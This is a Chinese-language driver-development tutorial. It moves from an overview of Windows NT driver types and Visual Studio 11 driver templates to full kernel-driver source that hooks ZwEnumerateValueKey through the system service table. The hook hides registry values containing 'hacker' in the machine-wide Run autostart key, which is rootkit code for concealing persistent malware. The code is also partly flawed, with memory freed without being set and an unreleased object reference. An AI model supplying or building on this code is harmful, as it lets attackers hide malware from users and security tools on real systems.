在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。
在Windows NT中,存在三种Device Driver:
1.“Virtual device Driver” (VDD)。通过VDD,16位应用程序,如DOS 和Win16应用程序可以访问特定的I/O端口(注意,不是直接访问,而是要通过VDD来实现访问)。
2.“GDI Driver”,提供显示和打印所需的GDI函数。
3.“Kernel Mode Driver”,实现对特定硬件的操作,比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。
Visual studio11与Windows8带来格外不同的新体验
1.启动Vs11
2.看见满目的驱动开发模板
3.选择一个驱动模式,有内核模式与用户模式两种的驱动
4.创建一个驱动程序,KMDF DriverMVP
5.我们选择的是内核模式的驱动程序,下面是创建成功后的界面,分别是驱动程序本身,与驱动安装包
6.按下F5,选择驱动编译,
插入下列代码实现ring0层隐藏注册表,请见代码分析
#include <ntddk.h> extern NTSYSAPI NTSTATUS NTAPI ObQueryNameString( IN PVOID Object, OUT POBJECT_NAME_INFORMATION ObjectNameInfo, IN ULONG Length, OUT PULONG ReturnLength ); extern NTSYSAPI NTSTATUS NTAPI ZwEnumerateValueKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ); //声明原有的函数 typedef NTSTATUS (*REALZWENUMERATEVAlUEKEY)( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ); //定义原函数的指针 REALZWENUMERATEVAlUEKEY RealZwEnumerateValueKey; //我们HOOK的函数 NTSTATUS HookZwEnumerateValueKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ); PCWSTR HideValue = L"hacker"; // SYSTEMSERVICE 的定义 typedef struct ServiceDescriptorEntry { unsigned int * ServiceTableBase; // 关键字段, 指向系统服务分发例程的基地址 unsigned int * ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char * ParamTableBase; } ServiceDescriptorTableEntry_t, * PServiceDescriptorTableEntry_t; __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)] PVOID GetPointer( HANDLE handle ) { PVOID pKey; if(!handle) return NULL; // ObReferenceObjectByHandle函数来获得这个Handle对应的FileObject, 得到的指针转换成文件对象的指针 if(ObReferenceObjectByHandle( handle, 0, NULL, KernelMode, &pKey, NULL ) != STATUS_SUCCESS ) { pKey = NULL; } return pKey; } NTSTATUS HookZwEnumerateValueKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ) { PVOID pKey; UNICODE_STRING *pUniName; ULONG actualLen; ANSI_STRING keyname; NTSTATUS status; UNICODE_STRING uStrValueName; PCWSTR ValueName; status = ((REALZWENUMERATEVAlUEKEY)(RealZwEnumerateValueKey))( KeyHandle, Index, KeyValueInformationClass, KeyValueInformation, Length, ResultLength ); //得到文件对象的指针 if(pKey = GetPointer( KeyHandle)) { //分配内存 pUniName = ExAllocatePool(NonPagedPool, 1024*2); pUniName->MaximumLength = 512*2; //将pUniName里的内容清空 memset(pUniName,0,pUniName->MaximumLength); //得到注册表项的路径 if(NT_SUCCESS(ObQueryNameString(pKey, pUniName, 512*2, &actualLen))) { RtlUnicodeStringToAnsiString(&keyname, pUniName, TRUE); keyname.Buffer=_strupr(keyname.Buffer); //判断是不是Run项 if (strcmp(keyname.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN") == 0) { switch (KeyValueInformationClass) { case KeyValueBasicInformation: //KEY_VALUE_BASIC_INFORMATION ValueName = ((PKEY_VALUE_BASIC_INFORMATION)KeyValueInformation)->Name; break; case KeyValueFullInformation: //KEY_VALUE_FULL_INFORMATION ValueName = ((PKEY_VALUE_FULL_INFORMATION)KeyValueInformation)->Name; break; } //判断ValueName里的值是否有hacker //如果有则将函数返回STATUS_ACCESS_DENIED if ((ValueName != NULL) && (wcsstr(ValueName,HideValue) != NULL)) { DbgPrint("Hide Value\n"); RtlFreeAnsiString(&keyname); //释放内存 if(pUniName) { ExFreePool(pUniName); } return STATUS_ACCESS_DENIED; } } } } status = RealZwEnumerateValueKey(KeyHandle, Index, KeyValueInformationClass, KeyValueInformation, Length, ResultLength); if(pUniName) { ExFreePool(pUniName); } return(status); } VOID DriverUnload( IN PDRIVER_OBJECT DriverObject ) { DbgPrint("驱动已经停止了\n"); (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = RealZwEnumerateValueKey; } NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ) { DbgPrint("驱动已经加载了\n"); RealZwEnumerateValueKey = (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)); (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = HookZwEnumerateValueKey; DriverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; }